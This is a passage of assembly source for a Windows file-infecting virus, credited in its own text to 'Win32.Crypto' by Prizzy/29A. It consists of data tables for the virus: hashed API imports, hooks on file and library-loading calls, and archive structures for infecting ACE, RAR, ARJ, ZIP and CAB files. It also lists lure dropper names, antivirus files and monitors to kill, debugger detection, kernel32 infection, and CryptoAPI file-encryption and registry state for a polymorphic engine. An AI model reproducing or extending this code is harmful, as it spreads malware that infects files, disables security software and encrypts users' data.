szGetVersion: __macro_CRC32 <GetVersion>
|
|||
|
szGetStartupInfoA: __macro_CRC32 <GetStartupInfoA>
|
|||
|
szWaitForSingleObject: __macro_CRC32 <WaitForSingleObject>
|
|||
|
szCreateProcessA: __macro_CRC32 <CreateProcessA>
|
|||
|
szOpenProcess: __macro_CRC32 <OpenProcess>
|
|||
|
szGetCurrentProcessId: __macro_CRC32 <GetCurrentProcessId>
|
|||
|
szCreateMutexA: __macro_CRC32 <CreateMutexA>
|
|||
|
szReleaseMutex: __macro_CRC32 <ReleaseMutex>
|
|||
|
szSleep: __macro_CRC32 <Sleep>
|
|||
|
szTerminateProcess: __macro_CRC32 <TerminateProcess>
|
|||
|
szGetSystemTime: __macro_CRC32 <GetSystemTime>
|
|||
|
szGetTickCount: __macro_CRC32 <GetTickCount>
|
|||
|
szGetFileSize: __macro_CRC32 <GetFileSize>
|
|||
|
szGetFileTime: __macro_CRC32 <GetFileTime>
|
|||
|
szSetFileTime: __macro_CRC32 <SetFileTime>
|
|||
|
szFileTimeToSystemTime: __macro_CRC32 <FileTimeToSystemTime>
|
|||
|
szSystemTimeToFileTime: __macro_CRC32 <SystemTimeToFileTime>
|
|||
|
szIsDebuggerPresent: __macro_CRC32 <IsDebuggerPresent>
|
|||
|
szCreateThread: __macro_CRC32 <CreateThread>
|
|||
|
szWideCharToMultiByte: __macro_CRC32 <WideCharToMultiByte>
|
|||
|
szlstrcat: __macro_CRC32 <lstrcat>
|
|||
|
szlstrlen: __macro_CRC32 <lstrlen>
|
|||
|
szIsBadCodePtr: __macro_CRC32 <IsBadCodePtr>
|
|||
|
szGetLastError: __macro_CRC32 <GetLastError>
|
|||
|
Hooked_API:
|
|||
|
szCreateFileW: __macro_CRC32 <CreateFileW>
|
|||
|
szCreateFileA: __macro_CRC32 <CreateFileA>
|
|||
|
szOpenFile: __macro_CRC32 <OpenFile>
|
|||
|
sz_lopen: __macro_CRC32 <_lopen>
|
|||
|
szCopyFileW: __macro_CRC32 <CopyFileW>
|
|||
|
szCopyFileA: __macro_CRC32 <CopyFileA>
|
|||
|
szMoveFIleW: __macro_CRC32 <MoveFileW>
|
|||
|
szMoveFileA: __macro_CRC32 <MoveFileA>
|
|||
|
szMoveFileExW: __macro_CRC32 <MoveFileExW>
|
|||
|
szMoveFileExA: __macro_CRC32 <MoveFileExA>
|
|||
|
szLoadLibraryW: __macro_CRC32 <LoadLibraryW>
|
|||
|
szLoadLibraryA: __macro_CRC32 <LoadLibraryA>
|
|||
|
szLoadLibraryExW: __macro_CRC32 <LoadLibraryExW>
|
|||
|
szLoadLibraryExA: __macro_CRC32 <LoadLibraryExA>
|
|||
|
szFreeLibrary: __macro_CRC32 <FreeLibrary>
|
|||
|
db 0, 0, 0, 0, 13, "ADVAPI32.DLL", 0
|
|||
|
advapi32_name equ $ - 13
|
|||
|
szCryptAcquireContextA: __macro_CRC32 <CryptAcquireContextA>
|
|||
|
szCryptExportKey: __macro_CRC32 <CryptExportKey>
|
|||
|
szCryptImportKey: __macro_CRC32 <CryptImportKey>
|
|||
|
szCryptGetUserKey: __macro_CRC32 <CryptGetUserKey>
|
|||
|
szCryptGetProvParam: __macro_CRC32 <CryptGetProvParam>
|
|||
|
szCryptGenKey: __macro_CRC32 <CryptGenKey>
|
|||
|
szCryptEncrypt: __macro_CRC32 <CryptEncrypt>
|
|||
|
szCryptDecrypt: __macro_CRC32 <CryptDecrypt>
|
|||
|
szCryptDestroyKey: __macro_CRC32 <CryptDestroyKey>
|
|||
|
szCryptReleaseContext: __macro_CRC32 <CryptReleaseContext>
|
|||
|
szRegOpenKeyExA: __macro_CRC32 <RegOpenKeyExA>
|
|||
|
szRegQueryValueExA: __macro_CRC32 <RegQueryValueExA>
|
|||
|
szRegQueryInfoKeyA: __macro_CRC32 <RegQueryInfoKeyA>
|
|||
|
szRegEnumValueA: __macro_CRC32 <RegEnumValueA>
|
|||
|
szRegSetValueExA: __macro_CRC32 <RegSetValueExA>
|
|||
|
szRegCreateKeyExA: __macro_CRC32 <RegCreateKeyExA>
|
|||
|
szRegCloseKey: __macro_CRC32 <RegCloseKey>
|
|||
|
db 0, 0, 0, 0, 11, "USER32.DLL", 0
|
|||
|
user32_name equ $ - 11
|
|||
|
szSetTimer: __macro_CRC32 <SetTimer>
|
|||
|
szKillTimer: __macro_CRC32 <KillTimer>
|
|||
|
szFindWindowA: __macro_CRC32 <FindWindowA>
|
|||
|
szPostMessageA: __macro_CRC32 <PostMessageA>
|
|||
|
szCharUpperBuffA: __macro_CRC32 <CharUpperBuffA>
|
|||
|
db 0, 0, 0, 0, 0 ;end of table
|
|||
|
|
|||
|
Hooked_API_functions: ;1st value = orig. adr ... 2nd = new function
|
|||
|
hfCreateFileW dd offset myCreateFileA - 5, offset myCreateFileW
|
|||
|
hfCreateFileA dd offset myOpenFile - 5, offset myCreateFileA
|
|||
|
hfOpenFile dd offset my_lopen - 5, offset myOpenFile
|
|||
|
hf_lopen dd offset myCopyFileW - 5, offset my_lopen
|
|||
|
|
|||
|
hfCopyFileW dd offset myCopyFileA - 5, offset myCopyFileW
|
|||
|
hfCopyFileA dd offset myMoveFileW - 5, offset myCopyFileA
|
|||
|
hfMoveFileW dd offset myMoveFileA - 5, offset myMoveFileW
|
|||
|
hfMoveFileA dd offset myMoveFileExW - 5, offset myMoveFileA
|
|||
|
hfMoveFileExW dd offset myMoveFileExA - 5, offset myMoveFileExW
|
|||
|
hfMoveFileExA dd offset myLoadLibraryW- 5, offset myMoveFileExA
|
|||
|
|
|||
|
hfLoadLibraryW dd offset myLoadLibraryA - 5, offset myLoadLibraryW
|
|||
|
hfLoadLibraryA dd offset myLoadLibraryExW - 5, offset myLoadLibraryA
|
|||
|
hfLoadLibraryExW dd offset myLoadLibraryExA - 5, offset myLoadLibraryExW
|
|||
|
hfLoadLibraryExA dd offset myFreeLibrary - 5, offset myLoadLibraryExA
|
|||
|
hfFreeLibrary dd offset EndOfNewFunctions - 5, offset myFreeLibrary
|
|||
|
|
|||
|
; common valuez
|
|||
|
|
|||
|
gdt_flags dd 00000000h ;fixed & remote disks
|
|||
|
file_infected dd 00000000h ;number of infected files
|
|||
|
|
|||
|
; copyright
|
|||
|
|
|||
|
szAuthor db "Win32.Crypto, (c)oded by Prizzy/29A",13,10
|
|||
|
db "Greetz to Darkman, Benny and GriYo"
|
|||
|
|
|||
|
;<3B><>Ĵ archivez struct <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
; ACE,RAR SFX information
|
|||
|
|
|||
|
Archive_MagicWhere:
|
|||
|
|
|||
|
ACE_MagicWhere dw 0,ACENeededBytes;ACE archive (*.ACE)
|
|||
|
dw 05C00h,300h ;ACE-SFX (DOS)
|
|||
|
dw 0DE00h,2200h ;ACE-SFX English/German
|
|||
|
;(Win 95/98, NT 4.x)
|
|||
|
|
|||
|
RAR_MagicWhere dw 0,20 ;RAR archive (*.RAR)
|
|||
|
dw 2400h,800h ;RAR-SFX (DOS)
|
|||
|
dw 5000h,800h ;RAR-SFX (Win 95/98, NT 4.x)
|
|||
|
|
|||
|
ACE_Magic db '**ACE**'
|
|||
|
ACE_Magic_Length equ 07
|
|||
|
RAR_Magic db 'Rar!',1Ah,7,0
|
|||
|
RAR_Magic_Length equ 07
|
|||
|
|
|||
|
; ACE archivez struct
|
|||
|
|
|||
|
ACE_h_struct equ this byte
|
|||
|
ACEhHeadCrc dw 0000h
|
|||
|
ACEhHeadSize dw 0000h
|
|||
|
ACEhHeadType db 00h
|
|||
|
ACEhHeadFlags dw 0000h
|
|||
|
ACEhSignature db '**ACE**'
|
|||
|
ACE_h_struct_finish equ this byte
|
|||
|
|
|||
|
ACE_h_struct_continue struc ;this structure ain't
|
|||
|
ACEhVerMod db 00h ;neccessary for RAR's
|
|||
|
ACEhVerCr db 00h ;opeartions
|
|||
|
ACEhHostCr db 00h
|
|||
|
ACEhVolumeNumber db 00h
|
|||
|
ACEhTimeDate dd 00000000h
|
|||
|
ACEhReserved1 dw 0000h
|
|||
|
ACEhReserved2 dw 0000h
|
|||
|
ACEhReserved3 dd 00000000h
|
|||
|
ACEhAvSize db 00h
|
|||
|
ACEhAv equ ThisPlace
|
|||
|
ACEhCommentSize dw 0000h
|
|||
|
ACEhComment equ ThisPlace
|
|||
|
ends
|
|||
|
|
|||
|
ACE_f_struct struc ;this structure ain't
|
|||
|
ACEfHeadCRC dw 0000h ;neccessary for RAR's
|
|||
|
ACEfHeadSize dw 0000h ;opeartions
|
|||
|
ACEfHeadType db 00h
|
|||
|
ACEfHeadFlags dw 0000h
|
|||
|
ACEfCompressedSize dd 00000000h
|
|||
|
ACEfUnCompressedSize dd 00000000h
|
|||
|
ACEfTimeDate dd 00000000h
|
|||
|
ACEfAttrib dd 00000000h
|
|||
|
ACEfCRC32 dd 00000000h
|
|||
|
ACEfTechType db 00h
|
|||
|
ACEfTechQual db 00000000h
|
|||
|
ACEfTechParm dw 0000h
|
|||
|
ACEfReserved dw 0000h
|
|||
|
ACEfFilenameSize dw 0000h
|
|||
|
ACEfFilename db 8+1+3 dup (00h)
|
|||
|
ends
|
|||
|
|
|||
|
ACENeededBytes equ ACE_h_struct_finish - ACE_h_struct
|
|||
|
|
|||
|
; RAR archivez struct
|
|||
|
|
|||
|
RARSignature db 'Rar!',1Ah,7,0 ;RAR's signature (v1.5+)
|
|||
|
RARSignature_Length equ 07 ;seven bytes
|
|||
|
|
|||
|
RAR_struct equ this byte
|
|||
|
RARHeaderCRC dw 0000h
|
|||
|
RARHeaderType db 00h
|
|||
|
RARFileFlags dw 0000h
|
|||
|
RARHeaderSize dw 0000h
|
|||
|
RAR_struct_finish equ this byte
|
|||
|
|
|||
|
RAR_struct_continue struc ;this structure ain't
|
|||
|
RARCompressedSize dd 00000000h ;neccessary for RAR's
|
|||
|
RARUncompressedSize dd 00000000h ;opeartions
|
|||
|
RARHostOS db 00h
|
|||
|
RARFileCRC dd 00000000h
|
|||
|
RARDateTime dd 00000000h
|
|||
|
RARVersionNeed db 00h
|
|||
|
RARMethod db 00h
|
|||
|
RARFileNameSize dw 0000h
|
|||
|
RARFileAttribute dd 00000000h
|
|||
|
RARFileName db 8+1+3 dup(00h)
|
|||
|
ends
|
|||
|
|
|||
|
RARNeededBytes equ RAR_struct_finish - RAR_struct
|
|||
|
|
|||
|
; ARJ archivez struct
|
|||
|
|
|||
|
ARJ_struct equ this byte
|
|||
|
ARJHeaderId dw 0EA60h
|
|||
|
ARJHeaderSize dw 0000h
|
|||
|
ARJ1HeaderSize db 00h
|
|||
|
ARJVersionDone db 00h
|
|||
|
ARJVersionNeed db 00h
|
|||
|
ARJHostOS db 00h
|
|||
|
ARJFlags db 00h
|
|||
|
ARJMethod db 00h
|
|||
|
ARJType db 00h
|
|||
|
ARJReserved db 00h
|
|||
|
ARJDateTime dd 00000000h
|
|||
|
ARJCompressedSize dd 00000000h
|
|||
|
ARJ_struct_finish equ this byte
|
|||
|
|
|||
|
ARJ_struct_continue struc ;this structure ain't
|
|||
|
ARJUncompressedSize dd 00000000h ;neccessary for ARJ's
|
|||
|
ARJFileCRC dd 00000000h ;opeartions
|
|||
|
ARJEntryname dw 0000h
|
|||
|
ARJAccessMode dw 0000h
|
|||
|
ARJHostData dw 0000h
|
|||
|
ARJFilename db 8+1+3 dup(00h) ;from this it isn't exact,
|
|||
|
ARJComment db 00h ;ARJFilename has not 8+1+3
|
|||
|
ARJHeaderCRC dd 00000000h ;size
|
|||
|
ARJExtHeader dw 0000h
|
|||
|
ARJEnd dw 0EA60h, 0000h
|
|||
|
ends
|
|||
|
|
|||
|
ARJNeededBytes equ ARJ_struct_finish - ARJ_struct
|
|||
|
ARJGetSizeOnly equ ARJVersionDone - ARJ_struct
|
|||
|
|
|||
|
; ZIP archivez struct
|
|||
|
|
|||
|
ZIPInfoBuffer equ this byte ;thanks to ZIP's structs
|
|||
|
ZIPRHeaderId db 'PK' ;from Vecna's "El Inca"
|
|||
|
ZIPRSignature db 01h, 02h ;virus
|
|||
|
ZIPRVerMade dw 000Ah
|
|||
|
ZIPRVerNeed dw 000Ah
|
|||
|
ZIPRFlags dw 0000h
|
|||
|
ZIPRMethod dw 0000h
|
|||
|
ZIPRTimeDate dd 00000000h
|
|||
|
ZIPRCRC32 dd 00000000h
|
|||
|
ZIPRCompressed dd 00000000h
|
|||
|
ZIPRUncompressed dd 00000000h
|
|||
|
ZIPRSizeFilename dw 0000h
|
|||
|
ZIPRExtraField dw 0000h
|
|||
|
ZIPRCommentSize dw 0000h
|
|||
|
ZIPRDiskNumba dw 0000h
|
|||
|
ZIPRInternalAttr dw 0000h
|
|||
|
ZIPRExternalAttr dd 00000000h
|
|||
|
ZIPROffsetLHeaderR dd 00000000h
|
|||
|
ZIPRFilename db 8+1+3 dup (00h)
|
|||
|
ZIPRHeaderSize equ ZIPRFilename - ZIPRHeaderId
|
|||
|
ZIPRScanSize1 equ ZIPRSizeFilename - ZIPRHeaderId
|
|||
|
ZIPRScanSize2 equ ZIPRFilename - ZIPRSizeFilename
|
|||
|
ZIPRScanSize3 equ ZIPROffsetLHeaderR - ZIPRSizeFilename
|
|||
|
|
|||
|
ZIPMHeaderBuffer struc ;this structure ain't
|
|||
|
ZIPLHeaderId db 'PK' ;neccessary for ZIP's
|
|||
|
ZIPLSignature dw 0403h ;operations
|
|||
|
ZIPLVersionNeed dw 0000h
|
|||
|
ZIPLFlags dw 0000h
|
|||
|
ZIPLMethod dw 0000h
|
|||
|
ZIPLDateTime dd 00000000h
|
|||
|
ZIPLCRC32 dd 00000000h
|
|||
|
ZIPLCompressed dd 00000000h
|
|||
|
ZIPLUncompressed dd 00000000h
|
|||
|
ZIPLSizeFilename dw 0000h
|
|||
|
ZIPLExtraField dw 0000h
|
|||
|
ZIPLFilename db 8+1+3 dup (00h)
|
|||
|
ends
|
|||
|
ZIPMScanSize equ ZIPLSizeFilename - ZIPMHeaderBuffer
|
|||
|
ZIPMFilename equ ZIPLFilename - ZIPMHeaderBuffer
|
|||
|
|
|||
|
ZIPReadBuffer equ this byte
|
|||
|
ZIPEHeaderId db 'PK'
|
|||
|
ZIPSignature dw 0000h
|
|||
|
ZIPNoDisk dw 0000h
|
|||
|
ZIPNoStartDisk dw 0000h
|
|||
|
ZIPEntryDisk dw 0000h
|
|||
|
ZIPEntrysDir dw 0000h
|
|||
|
ZIPSizeDir dd 00000000h
|
|||
|
ZIPOffsetDir dd 00000000h
|
|||
|
ZIPCommentLenght dw 0000h
|
|||
|
ZIPEHeaderSize equ this byte - offset ZIPReadBuffer
|
|||
|
|
|||
|
; CAB achivez struct
|
|||
|
|
|||
|
CAB_h_struct equ this byte
|
|||
|
CABh_Magic db 'MSCF' ;"MSCF" signature
|
|||
|
CABh_Reserved1 dd 00000000h ;reserved
|
|||
|
CABh_FileSize dd 00000000h ;file size of this cabinet
|
|||
|
CABh_Reserved2 dd 00000000h ;reserved
|
|||
|
CABh_FirstRec dd 00000000h ;offset of the 1st entry
|
|||
|
CABh_Reserved3 dd 00000000h ;reserved
|
|||
|
CABh_VersionMin db 00h ;CAB file format version
|
|||
|
CABh_VersionMaj db 00h ;curently: 0x0103
|
|||
|
CABh_nFolders dw 0000h ;number of folders
|
|||
|
CABh_nFiles dw 0000h ;number of files
|
|||
|
CABh_Flags dw 0000h ;1=exist its prev. cabinet
|
|||
|
;2=exist its next cabinet
|
|||
|
;4=exist its reser. field
|
|||
|
CABh_ID dw 0000h ;identification number
|
|||
|
CABh_Number dw 0000h ;number of cab (0=the first)
|
|||
|
CAB_h_finish equ this byte
|
|||
|
|
|||
|
CAB_reserved struct
|
|||
|
CABr_length dw 0000h ;if CABh_Flags=4
|
|||
|
CABr_reserved equ this byte
|
|||
|
ends
|
|||
|
|
|||
|
CAB_directory_start equ this byte
|
|||
|
CABd_FirstRec dd 00000000h ;offset of the 1st dir
|
|||
|
CABd_nData dw 0000h ;number of cfDATA structz
|
|||
|
CABd_Compress dw 0000h ;compression type
|
|||
|
CABd_Reserved equ this byte ;this can be reserved area
|
|||
|
|
|||
|
CAB_file_start equ this byte
|
|||
|
CABf_UnCompSize dd 00000000h ;file size (uncompressed)
|
|||
|
CABf_FileStart dd 00000000h ;offset of the file
|
|||
|
CABf_Flags dw 0000h ;0000=file in folder #0
|
|||
|
;0001=file in folder #1
|
|||
|
;FFFD=file from prev
|
|||
|
;FFFE=file to next
|
|||
|
;FFFF=file prev_and_next
|
|||
|
CABf_Date dw 1234h ;date
|
|||
|
CABf_Time dw 1234h ;time
|
|||
|
CABf_Attribs dw 0020h ;attr of the file
|
|||
|
CABf_FileName db 8+1+3 dup (00h) ;file_name + 00h
|
|||
|
db 00h
|
|||
|
|
|||
|
CAB_entry equ this byte
|
|||
|
CABe_CRC dd 00000000h ;checksum of this entry
|
|||
|
CABe_Compr dw 0000h ;compressed size
|
|||
|
CABe_UnCompr dw 0000h ;uncompressed size
|
|||
|
CABe_Compr_data equ this byte
|
|||
|
|
|||
|
; generate command for archiver programs by this table
|
|||
|
; include compress method, archives filenames, and ">nul"
|
|||
|
; note: 32=20h because of i'm using DN (and it does optim.)
|
|||
|
|
|||
|
ArchiverCommand db ' a -ep -std -m' ,05h,'12345' ;ACE
|
|||
|
db ' a -ep',32,32,32,32,32,32, \
|
|||
|
'-m' ,05h,'12345' ;RAR
|
|||
|
db ' a -e',32,32,32,32,32,32,32, \
|
|||
|
'-m' ,04h,'1234 ' ;ARJ
|
|||
|
db ' -a' ,32,32,32,32,32,32,32,32,32, \
|
|||
|
'-e' ,04h,'xnfs ' ;PKZIP
|
|||
|
|
|||
|
ArchiverCommandSize equ 0000000Eh ;lenght of one command
|
|||
|
ArchiverCommandRealSize equ 00000014h ;lenght of command + c. method
|
|||
|
|
|||
|
; I must find these programs by hyper infection
|
|||
|
; the 1st value means - 00h = only extension, 01h = name
|
|||
|
; the 4th value means - 00h = search, 01h = don't search
|
|||
|
; the 5th value means - jump there, if found
|
|||
|
; the 6th value means - useful value for that function
|
|||
|
|
|||
|
HyperTable db 01h,'PKZIP.EXE' , 00h, 00h
|
|||
|
dd offset archive_act, offset NewZIP
|
|||
|
db 01h,'ARJ.EXE' , 00h, 00h
|
|||
|
dd offset archive_act, offset NewARJ
|
|||
|
db 01h,'RAR.EXE' , 00h, 00h
|
|||
|
dd offset archive_act, offset NewRAR
|
|||
|
db 01h,'ACE.EXE' , 00h, 00h
|
|||
|
dd offset archive_act, offset NewACE
|
|||
|
db 00h,'.EXE' , 00h, 00h
|
|||
|
dd offset infect_file, 00000000h
|
|||
|
db 00h,'.ZIP' , 00h, 00h ;Internet's archive
|
|||
|
dd offset infect_file, 00000000h
|
|||
|
db 00h,'.ARJ' , 00h, 00h ;Old archive
|
|||
|
dd offset infect_file, 00000000h
|
|||
|
db 00h,'.RAR' , 00h, 00h ;User's archive
|
|||
|
dd offset infect_file, 00000000h
|
|||
|
db 00h,'.ACE' , 00h, 00h ;Hacker's archive
|
|||
|
dd offset infect_file, 00000000h
|
|||
|
db 00h,'.CAB' , 00h, 00h ;Fucking MicroSoft's
|
|||
|
dd offset infect_file, 00000000h ;archive format
|
|||
|
db 01h,'AVP.CRC' , 00h, 00h
|
|||
|
dd offset kill_av , 00000000h
|
|||
|
db 01h,'IVP.NTZ' , 00h, 00h
|
|||
|
dd offset kill_av , 00000000h
|
|||
|
db 01h,'ANTI-VIR.DAT', 00h, 00h
|
|||
|
dd offset kill_av , 00000000h
|
|||
|
db 01h,'CHKLIST.MS' , 00h, 00h
|
|||
|
dd offset kill_av , 00000000h
|
|||
|
db 01h,'CHKLIST.CPS' , 00h, 00h
|
|||
|
dd offset kill_av , 00000000h
|
|||
|
db 01h,'SMARTCHK.MS' , 00h, 00h
|
|||
|
dd offset kill_av , 00000000h
|
|||
|
db 01h,'SMARTCHK.CPS', 00h, 00h
|
|||
|
dd offset kill_av , 00000000h
|
|||
|
db 01h,'AGUARD.DAT' , 00h, 00h
|
|||
|
dd offset kill_av , 00000000h
|
|||
|
db 01h,'AVGQT.DAT' , 00h, 00h
|
|||
|
dd offset kill_av , 00000000h
|
|||
|
db 01h,'LGUARD.VPS' , 00h, 00h ;AVAST's viruses data-
|
|||
|
dd offset kill_avast , 00000000h ;base, hack its !!!
|
|||
|
db 0FFh
|
|||
|
|
|||
|
HyperTable_OneSize equ 0000000Fh ;size of ext field
|
|||
|
HyperTable_HalfSize equ 00000009h ;size of pointers
|
|||
|
|
|||
|
gen_archive_number equ 10
|
|||
|
gen_archive_filename db 0,7,'install', 1,5,'setup', 0,3,'run', \
|
|||
|
0,5,'sound', 0,6,'config',0,4,'help', \
|
|||
|
1,6,'gratis', 1,5,'crack', 1,6,'update', \
|
|||
|
1,6,'readme'
|
|||
|
|
|||
|
; Hyper Infection - kernel32 internal values
|
|||
|
|
|||
|
HyperInfection_k32 dd 00000000h ;actived from "kernel32" ?
|
|||
|
HyperInfection_timerID dd 00000000h ;timer identification
|
|||
|
|
|||
|
; AVAST's viruses database
|
|||
|
|
|||
|
AVAST_newSize equ 514847 ;this size + <0,50Kb)
|
|||
|
AVAST_memSize equ AVAST_newSize + 100h
|
|||
|
|
|||
|
; some AV monitors
|
|||
|
|
|||
|
kill_AV equ this byte
|
|||
|
db 'AVG Control Center',0 ;AVG Grisoft
|
|||
|
db 'Avast32 -- Rezidentn<74> podpora',0 ;AVAST32 (CZ)
|
|||
|
db 'AVP Monitor',0 ;AVP
|
|||
|
db 'Amon Antivirus Monitor',0 ;AMON English
|
|||
|
db 'Antiv<69>rusov<6F> monitor Amon',0 ;AMON Slovak
|
|||
|
kill_AV_num equ 5 ;four monitors
|
|||
|
|
|||
|
; some debuggers
|
|||
|
|
|||
|
kill_SoftICE db '\\.\SICE',0 ;SoftICE 95/98
|
|||
|
kill_SoftICE_NT db '\\.\NTICE',0 ;SoftICE NT/2k
|
|||
|
|
|||
|
; kernel infection
|
|||
|
|
|||
|
kernel_name db '\KERNEL32.DLL',0
|
|||
|
kernel_name_len equ $ - kernel_name
|
|||
|
it_is_kernel dd 00000000h ;infect kernel via "infect_file" ?
|
|||
|
|
|||
|
; do not infected table (thanx Lord Julus/29A for this tbl)
|
|||
|
|
|||
|
avoid_table db 'TB' ,00h,'F-' ,00h,'AW' ,00h,'AV' ,00h
|
|||
|
db 'NAV' ,00h,'PAV' ,00h,'RAV' ,00h,'NVC' ,00h
|
|||
|
db 'FPR' ,00h,'DSS' ,00h,'IBM' ,00h,'INOC' ,00h
|
|||
|
db 'ANTI' ,00h,'SCN' ,00h,'VSAF' ,00h,'VSWP' ,00h
|
|||
|
db 'PANDA' ,00h,'DRWEB' ,00h,'FSAV' ,00h,'SPIDER',00h
|
|||
|
db 'ADINF' ,00h,'SONIQUE',00h,'SQSTART',00h,01h
|
|||
|
|
|||
|
; Microsoft Cryptography functions, what a dream {:-D
|
|||
|
|
|||
|
crypto_KeyName db 'Prizzy/29A',0 ;my new crypto-key
|
|||
|
crypto_Action dd 00000000h ;exists crypto functions ?
|
|||
|
crypto_loadKey dd 00000000h ;has key been loaded ?
|
|||
|
|
|||
|
crypto_Provider dd 00000000h ;CSP provider
|
|||
|
crypto_Key dd 00000000h ;CPS key
|
|||
|
crypto_XchgKey dd 00000000h ;exportable CSP key
|
|||
|
|
|||
|
crypto_BlobLen dd 00000000h ;simple blob key length
|
|||
|
crypto_BlobKey dd 00000000h ;simple blob key pointer
|
|||
|
crypto_BlobHan dd 00000000h ;simple blob key reg handle
|
|||
|
|
|||
|
crypto_mainProcId dd 00000000h
|
|||
|
crypto_mainThread dd 00000000h ;main (crypto) thread handle
|
|||
|
crypto_thread dd 00000000h ;thread parameter
|
|||
|
CT_LOADKEY equ 1 ;get key handle
|
|||
|
CT_CRYPTFILE equ 2 ;crypt_file function
|
|||
|
CT_DECRYPTFILE equ 4 ;decrypt_file function
|
|||
|
crypto_thread_err dd 00000000h ;set LastError flag
|
|||
|
|
|||
|
crypto_unFiles db 'SFC' ,00h,'MPR' ,00h,'OLE32' ,00h
|
|||
|
db 'NTDLL' ,00h,'GDI32' ,00h,'RPCRT4' ,00h
|
|||
|
db 'USER32' ,00h,'RSASIG' ,00h,'SHELL32' ,00h
|
|||
|
db 'CRYPT32' ,00h,'RSABASE' ,00h,'PSTOREC' ,00h
|
|||
|
db 'KERNEL32',00h,'ADVAPI32',00h,'RUNDLL32',00h
|
|||
|
db 'SFCFILES',00h,01h
|
|||
|
|
|||
|
crypto_unReg32 db "System\CurrentControlSet\Control\SessionManager\KnownDLLs",0
|
|||
|
crypto_unReg16 db "System\CurrentControlSet\Control\SessionManager\Known16DLLs",0
|
|||
|
|
|||
|
crypto_unReg equ this byte
|
|||
|
dd offset crypto_unReg32
|
|||
|
dd offset crypto_unReg16
|
|||
|
crypto_unReg_E equ this byte
|
|||
|
|
|||
|
crypto_mainMutex db "Crypto:mainThread",0
|
|||
|
crypto_mutex db "Crypto:Mutex",0
|
|||
|
crypto_library dd 00000000h ;libraries information
|
|||
|
crypto_nLib dd 00000000h ;number of items
|
|||
|
|
|||
|
crypto_Register db "SOFTWARE\Microsoft\Cryptography\UserKeys\Prizzy/29A",0
|
|||
|
crypto_RegWhere db "EPbK",0
|
|||
|
crypto_RegFlag db "Kiss Of Death",0
|
|||
|
|
|||
|
align dword ;filesize divided by eight
|
|||
|
dd 00000000h ;only for multi-layer poly
|
|||
|
|
|||
|
;<3B><>Ĵ memory buffer which ain't in file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
file_end:
|
|||
|
|
|||
|
; working with filez
|
|||
|
|
|||
|
filename_ptr dd 00000000h ;pointer to a filename
|
|||
|
filename_size equ 260 ;MAX_SIZE defined by M$
|
|||
|
filename db filename_size dup (00h)
|
|||
|
file_handle dd 00000000h ;open file handle
|
|||
|
file_hmap dd 00000000h ;mapped file handle
|
|||
|
file_hmem dd 00000000h ;mapped file in memory
|
|||
|
file_hsize dd 00000000h ;file size + virus size
|
|||
|
last_error dd 00000000h ;buffer for file operations
|
|||
|
|
|||
|
; hyper infection
|
|||
|
|
|||
|
search_filename db filename_size dup (00h)
|
|||
|
search_start db 00h ;have we begun yet ?
|
|||
|
search_address dd 00000000h ;address of dta's in memory
|
|||
|
search_plunge db 00h ;how many dirz we have in
|
|||
|
search_handle dd 00000000h ;FindFirstFile handle
|
|||
|
search_table dd 00000000h ;position in HyperTable
|
|||
|
dta dta_struc <00h> ;main dta struc for search_handle
|
|||
|
time sysTime_struc <00h> ;time for my new hyper_infection
|
|||
|
|
|||
|
; file infected co-processor structs
|
|||
|
|
|||
|
exp_truncate dw 0000h ;copro status flags
|
|||
|
exp_default dw 0000h ;copro status flags
|
|||
|
exp_further dd 00000000h ;copro number's buffer
|
|||
|
|
|||
|
decimal_places dd 00000000h ;dec_place=modf(num,&int)
|
|||
|
|
|||
|
; new infection method (compressed, inside archive)
|
|||
|
|
|||
|
AProgram struc
|
|||
|
program dd 00000000h ;where's place program
|
|||
|
dropper dd 00000000h ;where's place dropper
|
|||
|
ends
|
|||
|
|
|||
|
NewArchive equ this byte
|
|||
|
NewArchiveNum equ 00000005h
|
|||
|
NewArchiveSize equ size AProgram
|
|||
|
|
|||
|
NewACE AProgram <00h>
|
|||
|
NewRAR AProgram <00h>
|
|||
|
NewARJ AProgram <00h>
|
|||
|
NewZIP AProgram <00h>
|
|||
|
NewCAB AProgram <00h>
|
|||
|
|
|||
|
FileTime File_Time <00h> ;get/set archive infect flag
|
|||
|
SystemTime sysTime_struc <00h> ;convert FileTime to SystemT
|
|||
|
|
|||
|
; CreateProcess structures
|
|||
|
|
|||
|
ProcessInformation Process_Information <00h> ;info about process
|
|||
|
StartupInfo Startup_Info <00h> ;window's info
|
|||
|
|
|||
|
; Coprocessor buffer - natural logarithm
|
|||
|
|
|||
|
copro_nl_buffer db 128 dup (00h) ;all regz + all flagz
|
|||
|
|
|||
|
; data used by Prizzy Polymorphic Engine (PPE-II)
|
|||
|
|
|||
|
poly_seed dd 00000000h ;last number in get_rnd32 function
|
|||
|
garbage_style db 00h ;have I use unmodify flags instructions ?
|
|||
|
|
|||
|
used_regs db 00h ;used eax,ecx,edx...
|
|||
|
gl_index_reg db 00h ;which reg is index ?
|
|||
|
gl_index_reg2 db 00h ;more complex - no comment :)
|
|||
|
|
|||
|
mem_address dd 00000000h ;where's copy of this virus
|
|||
|
poly_start dd 00000000h ;where poly decoder start
|
|||
|
poly_finish dd 00000000h ;where poly decoder finish
|
|||
|
recursive_level db 00h ;garbage recursive layer
|
|||
|
|
|||
|
index_reg db 00h ;index_reg in base-reg
|
|||
|
mlayer_reg db 00h ;mlayer_reg in base-reg
|
|||
|
